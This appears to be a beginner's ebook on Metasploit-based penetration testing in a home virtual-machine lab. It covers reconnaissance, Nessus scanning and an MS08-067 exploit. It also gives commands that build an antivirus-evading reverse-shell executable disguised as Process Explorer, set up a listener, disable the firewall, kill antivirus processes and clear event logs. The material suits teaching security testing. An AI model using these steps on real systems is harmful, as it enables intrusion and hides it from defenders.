A small read on metasploit framework along with nessus and nmap. Strictly for beginners, a bit old but way to good to start of with the Metasploit Framework. Deep description of working with each modules auxiliary, payloads, exploits etc.
A good way to start off with metasploit.
Contact: savan.p.755@gmail.com
A small read on metasploit framework along with nessus and nmap. Strictly for beginners, a bit old but way to good to start of with the Metasploit Framework. Deep description of working with each modules auxiliary, payloads, exploits etc.
A good way to start off with metasploit.
Contact: savan.p.755@gmail.com
A small read on metasploit framework along with nessus and nmap. Strictly for beginners, a bit old but way to good to start of with the Metasploit Framework. Deep description of working with each modules auxiliary, payloads, exploits etc.
A good way to start off with metasploit.
Contact: savan.p.755@gmail.com
A small read on metasploit framework along with nessus and nmap. Strictly for beginners, a bit old but way to good to start of with the Metasploit Framework. Deep description of working with each modules auxiliary, payloads, exploits etc.
A good way to start off with metasploit.
Contact: savan.p.755@gmail.com
CONTENTS Basics of Penetration Testing Setting up the Box Introduction to metasploit Information Gathering Vulnerability Assessment Exploitation Evading Firewall and Antivirus Post Exploitation
Chapter 1 Basics of Penetration Testing
Vulnerability:
In terms of cyber security a system vulnerability is a weakness or a flaw either in the system hardware or the software, which can be taken advantage(exploit) to gain access of the system.
Illustration: Vivek owns a USB modem to access the internet. The modem has a limited plan of 1GB 3G data. One day while working on a project for hours together Vivek realizes that he had exceeded his limit of 1GB data but was still able to use the Internet. The modem updates itself about the usage of data each time it connects to the server. Hence even if Vivek had exceeded the limit of 1GB was still able to use internet because there was no update modem received about exceeding the limit. It was only when Vivek disconnects the modem and connects it again, he understand the update mechanism of the modem. Now since Vivek knows about the update mechanism flaw, he uses the modem to his full advantage. This flaw of update mechanism is a VULNERABILTY of the USB Modem. Exploit: In terms of cyber security, taking advantage of a known flaw(vulnerability) in system hardware or the software in order to compromise the system security and gain access or harm the system is known as Exploitation, and the piece of code that does the above is known as an EXPLOIT. Illustration: According to Greek Mythology, Achilles was a Greek warrior and a hero of the Trojan war, a war fought between Troy and the Greeks. Achilles was known to be The Invincible because he was a son of a god. His mother tried him to make invincible by dipping him in the river, but he was left vulnerable at the heel from where his mother was holding him while dipping him in the river. At almost end of the Trojan war, Paris The Prince of Troy gets to know this vulnerability(heel). Paris shoots a poisonous arrow at Achilles' heel and Achilles dies. So in the context of Computer Science the Achilles' heel was vulnerable, which Paris took advantage of. The act of Paris shooting the arrow at Achilles heel is EXPLOITATION, and the poisonous arrow is an EXPLOIT.
PAYLOAD: In terms of cyber security, payloads are the programs that are executed on the victim machine after exploitation. This may include compromising the systems security and gaining complete privileges or deploying malicious software etc.,
Note: Payload has its own different meanings in context with metasploit and with networking.
Listener: Listener is a component that needs to be setup on the attacker machine in cases where the victim machine would try to make a connection to the attacker, so the listener would take care and handle the incoming connection. We come across such scenarios when the security level of the victim machines are high and an attacker would require inside-out connection for exploitation.
Social Engineering: Social Engineering is an act of manipulating people for the purpose of information gathering, gaining access to systems or even frauds.
What is Penetration Testing? Penetration Testing (often called Pentest) is the process of testing the security level of a single machine or a complete network by simulating attacks on these machine and providing proper solutions to overcome these security flaws. The evaluation of security on these machines reveal the flaws that exist in the hardware or the software and misconfigurations a network suffers from. And to what extent these flaws can be taken advantage of, to breach the security and gain access into these machines and networks. The metasploit framework is one of the major part of the Penetration Testing Process. This framework allows the pen tester to evaluate until what extent the flaws on a machine can cause harm and grant privileges to the attacker. Penetration Testing Process is carried out in a well defined manner. This process has different phases where each phase has its own necessity and importance. Phases of Penetration Testing Process: 1. Information Gathering 2. Scanning 3. Vulnerability Assessment 4. Exploitation 5. Post Exploitation 6. Reporting
The Need of Penetration Testing: If the companies do not find what is vulnerable in their networks or machines and patch them before an attacker gets hands on it, then that might land them into big trouble. Cyber crimes have been on a all time high in the last decade. Things like web defacement, stealing of private information etc., could damage any organizations reputation. Hence no organization would like to risk against such attacks.
Phases of Penetration Testing: Phase 1:Information Gathering Information gathering, also known as Reconnaissance is a initial phase of penetration testing where the Pen Tester start gathering information of the target network or a machine. Information gathering is basically of two types, active and passive. Passive information gathering involves collecting information about the target network or the machine without directly interacting with them. For example searching whois records and other information available online. Active information gathering involves collecting information about the victim by directly interacting with the machine. Active information gathering may reveal a lot of information about the victim for example, the emails, phone numbers etc.,
Phase 2 : Scanning Scanning is the pre phase attack where the pen tester starts scanning the networks. Scanning is generally of three types Network Scanning: Network scanning includes scanning of the whole network to find which system on the network are working or alive currently and which are not. Network scanning reveals the IP addresses of the computers which are currently up and can be scanned. Example Angry IP scanner:
Port Scanning: After successfully Network scanning is completed, network scanning reveals the list of IP addresses are up and running, the pen tester then starts scanning the ports on each machine. The scanned ports reveal the applications that are running on the systems. Port scanning reveals the Operating systems running on each of the machines in the network.
Vulnerability Scanning: Vulnerability scanning is a part of the vulnerability assessment phase.
Phase 4 : Vulnerability Assessment In vulnerability assessment phase all the machine are scanned for vulnerabilities present on each of the machines. This process is carried out by various vulnerability scanners available in the market. This is an automated process. All the tools that are used for vulnerability assessment may not give 100% precise results. These scanners tend to generate false positives. Phase 5 : Exploitation(Gaining Access) This phase of the penetration testing is carried out by various techniques. These various techniques involve Remote Administration Tools, Social Engineering and The metasploit Framework. Phase 6 : Post Exploitation After gaining access into the machines, the next thing is to maintain access. This is done by planting backdoors or by root kits which would give pen tester all the access anytime they need it again.
Phase 7: Reporting This is the most important phase as a penetration tester, where a Documentation about the complete process that has been carried out is made. It majorly specifies the vulnerabilities that were present on the network that need to be patched. And most importantly it contains the solutions provided by the pen tester to secure the network and the individual machines.
CHAPTER 2 Setting up the Box
Penetration Testing requires tools like Metasploit, Nessus and Nmap. These tools are available for premium downloads if one wishes to buy them or the free versions of these tools are always available. Tools required: 1. Metasploit 2. Nessus 3. Nmap Windows Setup: If you are a windows user and if you wish to stick to windows for the penetration testing then Metasploit for Windows can be downloaded from the official Rapid7 website. http://www.rapid7.com/products/metasploit/download.jsp
For Vulnerability Scanning you can use Nexpose or Acunetix. Both are windows based vulnerability scanners. Nexpose is again a development of Rapid 7, and can be downloaded for their official website. http://www.rapid7.com/products/nexpose/
Acunetix is another windows based vulnerability scanner. It is known for it very user friendly GUI. This can be downloaded from its official website, which gives a trial version for free. http://www.acunetix.com/vulnerability-scanner/download/
And the last tool we would need is the nmap scanner. Nmap stand for Network Mapper, it is one of the most oldest yet powerful command line tool used for network scanning. Nmap is basically a Linux based tool but was made available for the windows users also after 2000. http://nmap.org/book/inst-windows.html
Linux Setup: All the tools required for penetration testing come built-in in one of the flavours of Linux i.e., Back Track. For the demonstrations in this book I have used the Linux Back Track 5 Revision 3, the last of the Back Track. This Operating system is specifically made for penetration testing and security research. This includes each and every little tool a penetration tester would need for testing. The makers of Back Track have released another such flavour based on Linux called Kali Linux. It is also made for Penetration testers and can be used by anybody. These Operating systems are available freely on the internet.
My Setup: For the purpose of demonstrations in this book, I have installed both the victim as well as the attacker on the Virtual Machine. I have used VMware Workstation 9 for virtualization.
Figure 1 : VMware Workstation 9 The Operating Systems: You can download Back Track from its official web site: Backtrack 5 Revision 3: Attacker Machine
Figure 2 : Backtrack 5 Revision 3(Attacker) http://www.backtrack-linux.org/downloads/ Windows XP Service Pack 2: Victim Machine
Figure 3 : Windows XP SP2(Victim)
Chapter 3 Introduction to Metasploit
What is The Metasploit Framework? The Metasploit framework is an open source and a part of The Metasploit Project by Rapid 7 which allows the security experts to evaluate the security of a machine or a network and conduct penetration testing on these. The Metasploit Framework is a cross platform Framework developed by H D Moore in 2003 and later acquired by Rapid 7. The Metasploit is not a specific application, it is a complete framework which allows the security experts to not only evaluate the security of a machine or a network but, since it is an open source project it gives the power to build their own programs which can be added to their framework and use them as they wish. For example consider Metasploit framework as a set of building blocks, which can be customized according to the pen testers requirement and then use this framework accordingly. Due to this flexibility Metasploit has emerged as one of the most widely used Exploit Development Framework.
Figure 4 : The MSF Console History of Metasploit: The complete project of Metasploit (which includes metasploit framework, Opcode Database, shell code archive and security research) was developed by H Moore in 2003. Later Spoonm(handle) and Matt Miller joined the project. The vision behind the development of metasploit was to bring all the exploits, payloads and post exploitation scripts under one platform to ease the life of a Penetration Tester. Before metasploit came into picture exploits and the payloads were individual executables which had to be downloaded, compiled and then executed. Initially it was programmed in Perl, but later due to many disadvantages it was rewritten in Ruby. Ruby was choosen due to several reasons and one of the major reasons was the ease of writing code, given it was Object Oriented. Later in the year 2009 The Metasploit Project was acquired by Rapid7 which deals with vulnerability management and penetration testing. Rapid7 is led by H Moore and Mike Tuchen in Massachusetts.
Features: Runs on Windows, Linux, MAC OS, Nokia N900, Android, Jail Broken Apple I phones. It has a GUI called as Armitage and console based GUI which makes it very easy for the users to use Metasploit. There are more than 1000 different exploits for windows, Linux/Unix and MAC OS and hundreds of payloads. It also provides encoding of the payloads that helps the attackers from not getting detected by the Anti-Virus programs. It lets the attacker gain different level of access on the vulnerable remote machine. It helps evaluate to what level a machine is secured. It not only allows pen testers for penetration testing but the metasploit framework has been built keeping in mind the security researchers also. Everything in the framework is accessible and alterable. An exploit developer can built their own exploits and integrate them into the metasploit framework for their own usage. Since metasploit framework is an open source it helps the researchers to go through the codes of the exploit and the payloads to which they can customize. Metasploit also supports databases which would help the Penetration Testers to keep a track of all the penetration testing results.
Architecture of Metasploit Framework: The architecture of metasploit has been designed in such a manner that the relation between each module of metasploit is as least as possible so as to encourage code re-usage for other major projects. The metasploit framework is an open source, so the code of any exploit or any payload is readily available in case a programmer wants to re-use the code for further enhancement. The architecture of metasploit consists of three major parts Libraries Interfaces Modules
Figure 5 : Architecture of Metasploit Framework
Figure 6 : Architecture of Metasploit Framework 2
Libraries: REX: REX stands for Ruby EXploitation library. It is considered to be the most basic library for most of the functions.REX deals with sockets, protocols and shell interfaces. It is designed in such a way that it does not depend on anything other than the default install. The REX library contains various set of classes and modules which are applicable for further extensions to projects. Some of the important classes are
Assembly Helps in generating assembly codes on a fly, since they are very important for writing exploits. Encoding The rex library allows the users to encode the buffers using different XOR algorithms. These encoders are used in the encode module. Exploitation At times some of the vulnerabilities need to be exploited in a similar manner i.e., the way they are attacked are similar. To avail flexibility REX provides the exploitation classes which serve similar purposes. Sockets Sockets is one of the most important set of classes in REX library. It provides important classes to establish connections on the remote machine.
MSF Core: MSF core contains a set of classes that provide an interface to the modules and plugins. It is contains both auxiliaries and exploits. Exploits relating to HTTP, FTP, Oracle, SQL, SMB Auxiliaries relating to Scanner, Fuzzers, Report, dos etc. The auxiliary module of MSF core makes use of the REX libraries.
MSF Base: While the MSF core implements some of the abstract sessions, MSF Base implements some of the concrete implementations. Two of the major sessions implemented in the MSF Base are Command shell and Meterpreter.
Interfaces: Msfcli: Msfcli is a command line interface for metasploit. Msfcli is good when testing and developing new exploits and also good for learning the framework. But it has a major drawback that it can handle only one shell at a time making it difficult for the client side attacks. It also doesnt support any of the advanced automation features. It is a great tool for a tester who knows exactly what inputs has to be given to the console. Msfcli has a major advantage of directing output to other tools and also taking inputs from some other tools. The Msfcli is used directly for the shell terminal itself.
Figure 7 MSFcli
MSF Console: MSFConsole is the most popular interface for metasploit. It allows access to possibly all the options available in metasploit. Once the user gets hands on msf console they would appreciate the ease of use of msfconsole. It is infact the most easy way to access and use The Metasploit Framework. Although Metasploit Framework has been going under constant changes since it was released, the basic metasploit usage commands remains the same.
Figure 8 MSF Console
Figure 9 Starting MSF Console
Armitage(GUI): Armitage is a front-end GUI for metasploit framework which was developed by Raphael Mudge. It helps visualizing the targets and exposes the complete features of Metasploit. It is made for the security practitioners who do not use metasploit on the daily basis.
Figure 10 Armitage GUI
Modules of Metasploit Framework:
Figure 11 MSF Console Screen
Exploits: Exploits are programs that help the intruder to take an advantage of the vulnerability that are present on the victim system.
Auxiliary: Auxiliary modules are the exploits without payloads, which do not get you a control over the victim system but performs functions like scanning, sniffing, fingerprinting and automating tasks.
Posts: Post is the collection of scripts and programs that an intruder can use on the victim system to perform various actions after he/she has gained access of the system. Those actions may include editing registries, setting up backdoors and further gaining access to internal network.
Payloads: Payloads are the programs that the attacker sends to the victim after exploiting the vulnerability, and the program is executed on the victims machine. It gives the attacker control over the victim machine. Running a shell is the most common payload. The type of payload the attacker might choose depends on certain constraints, one of them is the memory buffer available on the victim system for the payload to execute. Payloads are on the whole divided into three types Singles: Singles are completely standalone and simple codes that might be as simple as creating another user on the victim machine or running a small application. Stagers: Stagers are generally used to create a network between the attacker and the victim. It allows the attacker to initially use a small payload to load larger payloads on the target machine. So stager is basically taking care of the restrictions that occur in single payloads. Stages: The various payload stages allow the attacker to have advanced control over the victim. An example of stages is Meterpreter.
Encoders and NOPS: The payload and the exploits that the attacker sends to the victim machine may get detected by various security tools like antiviruses, IDS/IPS and firewalls. So to prevent these payloads and exploits from getting detected Encoders and NOPs (No OPeration generators)are used which encodes the payloads and the exploits when they are transmitted over the wire.
Working : The attacker attacks the victim machine using an exploit for a particular vulnerability. The exploit carries with it a small payload with it. The payload connects back to the Metasploit Framework which lets the attacker overcome various kinds of restrictions that may occur for executing larger payloads on the remote machine. And at last there is a client-server connection between the attacker and the victim.
Figure 12 Execution of Exploit and Payload
MSFupdate MSFupdate is one of the metasploit utilities which allows a user to update the Metasploit Framework. Whenever the Rapid7 reveals an update for the Metasploit Framework, it can be directly downloaded from our machine using the MSFupdate utility. root@bt:~# msfupdate
Figure 13 MSF Update
The Backend If a pen testers is running penetration testing on a huge network then keeping a track of everything going around becomes difficult for a pen tester. Hence metasploit comes with an extensive support of databases, which can store the things carried out on the metasploit framework and also import and export data from various other tools. The metasploit framework supports PostgreSQL which is the default database. Setting up a database: -> Navigate to
Figure 14 Default Database Credential File -> Open database.yml to see the default settings of the database. The default User names and the passwords are created, note down these credentials as they will be required further.
Figure 15 The Database Credentials -> To connect database to the metasploit framework execute the following command msf > db_connect username:password@host_ip:port/database name
Figure 16 Connecting Database
-> To check the status of the database execute db_status.
Figure 17 Database Connection Status
-> To disconnect the database msf > db_disconnect username:password@host_ip:port/database name
Figure 18 Disconnecting Database
-> Other database commands
Figure 19 Database Commands
Chapter 4 Information Gathering Information gathering is the initial stage of penetration testing(also known as Reconnaissance) where the pen tester starts gathering information about the target network or a single machine. The main aim of this phase is to gather precise information about the victim. This information may include various things like how the organization operates, what may be best way to enter into the organizations computer, who would fall a prey of social engineering etc., Information gathering has to be performed thoroughly in order to make sure a tester does not miss any vulnerable targets that can be exploited. It takes time and patience to perform information gathering, to know the complete infrastructure of the target. At this stage a pen tester tries to collect as much as information available and makes sure each and every little thing is recorded. Information gathering is the most important aspect of any penetration testing since it provides the foundation for any work that has to be carried out. Information gathering is divided into two types, one is passive information gathering and the second is active information gathering. Passive information gathering is the technique to gather information about the victim target without getting into physical contact with the victim machines. The tools or rather services that can be used to gather victim information include whois search, netcraft etc. Let us take a look a few tools and techniques that can fetch us information about the target.
Whois Search Whois is basically a huge database that store information about the registered resources on the internet. When a new domain name is bought on the internet, information like the name of the company, the website is registered to, name of the registrar, contact details etc., are stored in this database. Example:root@bt:~# whois asianlaws.org root@bt:~# whois website_name.com
Figure 20 Whois Query
This reveals several important things about an organization which may turn out to be pretty important for a pen tester. There are plenty of websites that provide this service, like who.is, whois.com, whois.com etc.,
Netcraft -> Netcraft is an online service which provides web server, operating system, domain name server detection etc.,
Figure 21 Netcraft Service
NS Lookup: NS Lookup is a command line tool available in various operating systems which is used for querying IP address, domain name system and various other things. It is present in Windows as well as many Linux flavours.
Figure 22 NS Lookup
Google Dorks: Google dorks is a way to dig information about the websites, web servers etc., This information is revealed due to inappropriate configuration of the servers and the websites. This is an example of a google dork which reveals the admin login page of the website.
Figure 23 Google Dorks
Active Information Gathering In active information gathering the information about the target is fetched by directing getting into the contact with the target machine or network. The results of the Active information gathering is generally the conclusion of various queries that are put to the network or the machines. Nmap is one of the most powerful tools developed until date for active information gathering. General nmap scanning:
Figure 24 Basic Nmap Scan To use nmap in Backtrack we use the nmap command from the terminal followed by the options and the IP address. Options: -sS -- Stealth Scan -sV -- Remote Services Version Detection -O -- Operating System Detection
Using the Metasploit Back end to store results: In a complex penetration testing scenario where a whole network or a very large number of computers are being tested then it becomes difficult for the pen testers to keep a track of all the computers. This issue of the pen testers is addressed in metasploit where the scan results of nmap can be imported into the framework database. This is also an advantage when a group of pen testers are working together on a large network. To import the scan data into the framework database, the results of the nmap has to be stored in a file, which can be later imported into the framework using the db_import option of the framework database.
Figure 25 Subnet Scan In the above scan we store the results in a file name nmap. Writing to a file is done by using the -oX option of the nmap scanner.
Figure 26 Connecting the Database Connect the database to the Metasploit Framework using the db_connect command and then import the nmap results that we have stored in a file name nmap. To import the data in the framework we use db_import command.
Figure 27 Importing Nmap Results
After importing the file, we can apply queries to the imported data and use them for further testing.
Figure 28 Nmap Results in Metasploit Framework
Running Nmap from Metasploit: Apart from running nmap and importing results into metasploit, metasploit also comes with the ability to run nmap directly from the metasploit framework. To run nmap from the metasploit framework we the following command msf > db_nmap -options x.x.x.x
Figure 29 Nmap from Metasploit
Scanning with Metasploit: Even though nmap is a very powerful tool, metasploit framework itself comes with all these inbuilt capabilities that it does not need nmap or any such scanning tool. The modules that conducts this scanning is called auxiliary module. This module provides pen testers with all major types of scans that the pen testers need. The scanning in auxiliary module is carried out in 3 phases. ->Setting up the type of scan required using the use function.
Figure 30 Auxiliary Scan -> Setting the parameters of the scan. To set the parameters, first check the parameters required for running the script. Set the parameters using the set command.
-> Run the auxiliary scan using the run command.
Figure 31 Auxiliary Scan Result
The auxiliary module of the metasploit provides with extensive range of scanning programs.
Figure 32 Auxiliary Scanning Module
Few of these programs can help detect the kind of services they are running, and there are other programs that help evaluating the number of ports open on the machine.
Chapter 5 Vulnerability Assessment Vulnerability assessment is an automated program which looks for weaknesses in the remote computers or networks. The vulnerability scanners comes to conclusion about the vulnerability based on the response it receives to the packets sent to it. Scanning with Nessus: Installing Nessus: -> Nessus comes pre installed in the operating system that we are currently using for penetration testing(i.e. Backtrack 5 R3). -> But before we start using Nessus directly we need to enable it. -> To enable Nessus we need to register on the tenable.com as a user. -> And to use free Nessus we need to register for the home feed. http://www.tenable.com/products/nessus/nessus-homefeed
-> After registering we would receive a mail with the activation code on our email.
Figure 33 Nessus Registration -> After we receive the activation code, activate nessus on the Backtrack OS from the terminal using the following command. root@bt:~# /opt/nessus/bin/nessus-fetch --register x-x-x-x-x
Figure 34 Activating Nessus
-> After that is completed, register a user.
Figure 35 User Add
Register a user in the user add function of nessus, this registered user will be used to log into the Nessus and use it.
Figure 36 Registering User
After successfully registering a user, to use nessus start the nessus server using start nessus option in dropdown list.
Figure 37 Start Nessus
Running Nessus: Nessus vulnerability scanner is accessed from a browser, after nessus server is initialized open a web browser and browse to https://localhost:8834, this would open the nessus login screen as shown.
Figure 38 Accessing Nessus
Figure 39 Nessus Login Screen
-> Login with the name of the user that we created.
Figure 40 Nessus Interface Scanning with Nessus: To start scanning with nessus go to scans option and click add scan. Give the scan options and launch the scan.
Figure 41 Initializing Scanning
The scanning of vulnerabilities would take a little bit time. And after the scanning has been completed, the report can be viewed from the reports column.
Figure 42 Scanning Reports Browse through the list of vulnerabilities from the report. The vulnerabilities are well sorted with the amount of risk they pertain.
Figure 43 List of Vulnerabilities
Figure 44 List of High Risk Vulnerabilities
Importing Nessus result to The Framework Database: -> To import the Nessus report into the metasploit database. -> Download the Report from Nessus in .nessus format. -> In the msf console is connected import the file using db_import
Figure 45 Connect to database msf > db_import report.nessus
Download the Nessus vulnerability report and then import it to the metasploit framework database using the db_import command.
Figure 46 Importing Nessus Report Pen testers can put general queries to the vulnerability database to fetch the information.
The metasploit framework comes with more than 1000 exploits now, and the number of exploits have been increasing from time to time. Different exploits have different capabilities and these exploits vary from windows to ubuntu as well as android exploits. Let us quickly proceed towards exploitation.
Exploitation is carried out in four steps
-> Setting the exploit -> Setting the Payload -> Setting the options -> Exploit
Basic Commands: ---> search The search command is used to search any specific exploit, any specific payload or any other module as well.
Figure 48 Search Command
---> use The use command is used to set the exploit.
Figure 49 Use Command --->show The show command is used to see the list of exploits, payloads and also options that are to be set for successful exploitation.
Figure 50 Show Command
---> set The set command is used to set things like payload and various options that need to be configured for exploitation.
Figure 51 Set Command Based on the vulnerabilities found on the victim machine, one strong vulnerability is chosen exploiting which could give us maximum privileges. In the current scenario we would choose MS08-067 which was one of the vulnerabilities we found in vulnerability assessment. This is a netapi vulnerability which allows the attacker to execute code remotely using Remote Procedure Call.
Victim Machine: -> Windows XP Service Pack 2
Figure 52 Victim Machine STEP 1:
-> Using the search command we can find the exploit for this vulnerability.
Figure 53 Searching Exploit -> After we have found the exploit which we were looking for, the next step is to set the exploit for use. -> To do so we use the use command
Msf > use name-of-exploit
Figure 54 Setting Exploit
STEP 2: -> After we have set the exploit, the next thing to do is to look for an appropriate payload for the exploit. -> In the previous definitions we have seen that a payload is something that is going to execute on a remote machine after the remote machine has been exploited. -> So in this let us choose a payload that fetches us a command prompt of the remote machine.
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
Figure 55 Searching Payload
STEP 3: -> After the exploit and the payload has been set, the next thing to do is to set the options that are required to execute the exploit successfully. -> To see the options that are required to be set, use the command show options.
Figure 56 Show Options
RHOST : Remote machine IP Address RPORT : Remote machine Port Number LHOST : Local Host IP Address LPORT : Local Port Number
-> For this attack we require two things to be configured the LHOST and the RHOST, the rest of the things like LPORT, RPORT etc., that are needed for the attack are preconfigured. -> To set the LHOST and the RHOST we use the set command
msf exploit(ms08_067_netapi) > set LHOST x.x.x.x
msf exploit(ms08_067_netapi) > set RHOST x.x.x.x
Figure 57 Set Options
Note: We have not selected any specific exploit target, and is set to automatic targeting.
STEP 4: -> The last and the final step of the process is to exploit. -> This is done using the exploit command.
Figure 58 Exploit Command
We have successfully broken into the victim machine, and we are having a command prompt using which we can explore deep into it. If we take a look at the victim machine everything seems to be normal., there is no clue of anything wrong at all.
Figure 59 No Suspicion But in case the victim is smart enough to take a look at the processes running on his machine he would find a background command prompt on his machine which would create suspicion.
Figure 60 Victim Task Manager
This means that there is a complete new process created on the victim machine. What can be done to avoid such detection? We would take a look at it in the upcoming chapters.
Chapter 7 Evading Firewall and Anti Viruses
In the last chapter we have seen how to exploit a victim machine and take the control over it. In this chapter we would take a close look at the on how to evade a firewall first and the anti viruses. PART 1:EVADING FIREWALL In the above exploitation we had no firewall running on the victim machine and hence everything went smooth and easy, but in today's world people have become smart enough to use at least a default windows firewall. Now, if the firewall is up and running then there is now way that an attacker can break into the victim machine. A solution to evade a firewall only can be a reverse connection from a victim to the attacker. But how is that possible?? Here comes something called CLIENT SIDE EXPLOITATION. The client side exploit takes an advantage of vulnerabilities found on applications the victim is running. It requires a little bit of social engineering. In our demonstration we will take a look at browser based client side exploitation, because browsers are not something that is regularly updated as the operating system.
We would setup an attack web server which would load a ton of exploits based on browsers and when the victim connects to the server, the we can get the control over the victim. Let's start: -We have turned the windows firewall ON.
Figure 61 Windows Firewall
STEP 1: -> We will be using one of the auxiliary modules called the browser autopwn. -> To set the module use the following module:
Figure 62 Set Auxialiary Module
STEP 2: -> Set options required for the above exploit.
Figure 63 Show Auxiliary Options
Figure 64 Set Auxiliary Options
STEP 3: -> Run the server using the run command. msf auxiliary(browser_autopwn) > run
This would start a server and load all the browser based exploits to the server. It is a little bit time consuming process so be patient and wait for all the exploits to load.
Figure 65 Loading Modules to Server
STEP 4: -> Now after you see the Server started on you terminal, convince the victim by some means or misguide him/her to connect to the attacker's ip address from the browser. -> Social engineering would do best. -> It does not show up anything to the victim as if nothing happened but back on the attacker machine the server has executed its own code.
Figure 66 Victims Browser
-> As soon as the victim puts the ip address in the browser the following code is executed by the server.
Figure 67 Execution of Exploit
-> To use the session that has been created by the server use the following commands.
Figure 68 Using the created Session -> Now what we have got running is a meterpreter session. We would take a look at it in the later chapters.
PART 2: KILLING WINDOWS FIREWALL To kill the windows firewall we need a command prompt, but as you can see we have meterpreter as a payload instead. To get a command prompt from the meterpreter execute the following command Meterpreter > execute -f cmd.exe -c -H
Figure 69 Execute command of Meterpreter -> Next we need to execute following command from the command prompt to disable the firewall.
Figure 70 Disabling the Windows Firewall
The windows firewall immediately turns off blocking any kind of connections. PART 3: Evading Antivirus Most payloads and the exploits that we have created until now at some point or the other would create temporary files on the victim machines and hence good anti viruses would eventually raise an alarm. To prevent this from happening we would have to take up certain measures. Evading antivirus is a little bit complex job and hence we will take a look at it step by step. We will be using three different concepts together so that there is no chance of an antivirus detecting the connection. We will be creating a standalone payload using MSF Payload. This payload will be then encoded using MSF Encode module. And we will apply a custom template so that it does not raise any suspicion. After all this is done, we will create a listener on our machine which will wait for the connection from the victim. Step 1: -> Download process explorer as we will be using process explorer as the custom template. -> Download it and extract it.
Figure 71 Unzipping Process Explorer
Step 2: -> Execute the following command. root@bt:/opt/metasploit/msf3#msfpayload windows/shell_reverse_tcp LHOST=x.x.x.x LPORT 8080 R | msfencode -t exe -x processexp/procexp.exe -o /root/Desktop/file_name.exe -e x86/shikata_ga_nai -c 10
Figure 72 Encoding
-> This would create a file on the desktop named Process Exp.exe.
Figure 73 Process Explorer
Step 3:
-> The next step is to send the file we recently created to the victim. -> And simultaneously we need to set up a listener on our machine. -> We will be setting up a listener using msfcli which would listen for incoming connections.
-> Execute the following command to setup a listener.
root@bt:/opt/metasploit/msf3 # msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.254.132 LPORT=8080 E
Figure 74 Launching Listener
-> After executing the command wait for the victim to run the file we sent.
Figure 75 Encoded File on Victim Machine
-> As soon as the victim executes the standalone payload, we get a command prompt of the victim.
Figure 76 Execution of Exploit
Part 4: Killing Antivirus
-> To kill an antivirus we need to use the meterpreter payload. We will take a look at the complete meterpreter in detail in the upcoming chapters.
-> After we have successfully evaded the antivirus the next most important thing to do is to kill the antivirus.
-> Make sure to use the meterpreter payload.
Figure 77 Searching Meterpreter
Figure 78 Setting Exploit and Payload
Figure 79 Exploiting
-> To take a look at all the options of meterpreter
Meterpreter > ?
This would display a huge list of options that come along with meterpreter. Meterpreter allows the attacker to execute scripts on the victim machine and one of those scripts is killav.rb The killav.rb is a ruby script that can be executed remotely from the attacker machine to shut down the antivirus. Though this script does not guarantee 100% success, making a little bit of changes to the script by ourselves would make it work perfect. Step 1: -> After getting the access through meterpreter, check all the list of processes running on the system using ps command. Meterpreter > ps
Figure 80 PS command From the list note down all the processes that are associated with the antivirus. avgwdsvc.exe avgui.exe avgidsagent.exe avgrsx.exe avgcsrvx.exe The killav.rb script searches for any antivirus processes from a list. Step 2: All we need to do is to edit the killav.rb script and add these processes to it. To edit the script go to the following directory.
Figure 81 Opening Killav
Figure 82 Editing Killav.rb -> Save the script and quit.
Step 3: -> Go back to meterpreter and execute the script using the run command.
Figure 83 Running the Script
CHAPTER 8 POST EXPLOITATION MODULE
Meterpreter initially was just a payload, but then as time passed it evolved into post exploitation tool. That was because of its wide range of functionalities. Single payloads could perform only specific tasks for example adding of a new user or give a command shell to the attacker etc., but when it comes to meterpreter, it creates a platform for the attacker on the victim machine to execute different programs. Apart from that the main reason for such widespread use of the meterpreter is that it does not create a temporary file on the victim, whereas the other payloads do. Creation of temporary file may create suspicion and may even be detected by antivirus or host based Intrusion Detection Systems. Meterpreter uses an encrypted communication channel. Meterpreter does not create a new process on the RAM either, it gets itself executed under a system parent process.
Phases of Post Exploitation:
-> Understanding the victim -> Privilege Escalation -> Collecting Data -> Deleting Logs
1. Understanding the Victim Better:
Using the help command would give us the list of command in meterpreter.
-> System Information
Figure 84 System Information -> User ID
Figure 85 Getuid -> Getting the list of processes currently running
Figure 86 List of Processes Running
-> Idle Time
Figure 87 System Idle Time
-> Check if the system is a Virtual Machine
Figure 88 Check for a Virtual Machine
->List of Meterpreter Scripts Available
Figure 89 Meterpreter Scripts
-> Get Environment
Figure 90 Get Environment
-> Get Application List
Figure 91 List of Applications Running
-> Dumping complete system information
Figure 92 Complete System Information
-> The directory in which the data is dumped in.
Figure 93 Dump
Figure 94 Data dump Files
Privilege Escalation
Carrying out privilege escalation is very simple in meterpreter. It has a inbuilt script called getsystem which give you the administrative privileges if executed.
Figure 95 Get System
Clearing Logs:
-> Clearing Event logs
Figure 96 Clear Event Logs
Collecting Data:
-> Meterpreter comes with an option of uploading and download files. To download files go to the directories and download using the download script of meterpreter.